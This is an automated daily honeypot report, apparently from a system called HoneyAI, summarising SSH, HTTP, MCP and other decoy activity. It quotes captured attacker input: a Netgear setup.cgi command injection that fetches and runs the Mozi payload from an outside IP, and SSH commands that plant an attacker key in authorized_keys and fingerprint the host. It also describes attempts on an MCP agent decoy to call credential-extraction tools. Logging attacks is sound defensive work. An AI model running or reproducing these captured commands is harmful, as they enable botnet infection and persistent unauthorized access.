Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 91566946b1d8deb0
- aad3f9ba1d6740cc
- 8c6976e5b5410415
- ab0c16f2769c75b4
- 4813494d137e1631
🌐 WEB HONEYPOT — HoneyAI HTTP
AI-generated fake HTTP responses served to 43 scanner requests from 15 unique IPs (local, offline).
Top Paths Probed
- /SDK/webLanguage
- /
- /goform/set_LimitClient_cfg
- /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://110.38.254.189:33444/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
- /login
Top User-Agents
- Mozilla/5.0
- Go-http-client/1.1
- Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
- Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 SE 2.X MetaSr 1.0
- Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
💥 OPERATION SPINE — Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **17** reverse port-scans against active attacker IPs. Out of these, **16** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h → 179 IPs → AbuseIPDB (community confidence scores updated) → 179 IPs → AlienVault OTX (pulse indicators added) → 179 IPs → Blocklist.de (auto-ban list updated) → 179 IPs → DShield/SANS (global threat feed updated)
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
91566946b1d8deb0 aad3f9ba1d6740cc 8c6976e5b5410415 ab0c16f2769c75b4 4813494d137e1631 💻 Commands They Tried
uname -s -m cd ~ && rm -rf .ssh && mkdir .ssh && echo $_dqssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr$_dq>>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ uname -a export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null) arch=$(uname -m 2>/dev/null) uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1) cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) | head -1) cpu_model=$( (grep -m1 -E $_dqmodel name|Hardware$_dq /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,$_dq$_dq,$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50) cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1) ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1) last_output=$(last 2>/dev/null | head -n 10) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqCAT_HELP:$cat_help$_dq echo $_dqLS_HELP:$ls_help$_dq echo $_dqLAST:$last_output$_dq /bin/./uname -s -v -n -r -m These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 19 de junio de 2026. Recorded 724 SSH connections and 7895 multi-protocol decoy events on HoneyAI, from 192 unique IPs. 179 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 472 login attempts from 98 unique IPs. Attackers executed 249 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 7895 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 94 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 43 HTTP requests from real scanners across 15 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 3 requests from 1 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 3 authentication events from 3 IPs. The SNMP trap received 27 queries from 17 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 0 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 17 reverse port scans back to active attacker IPs. Out of these, 16 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 8196 alerts from 664 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.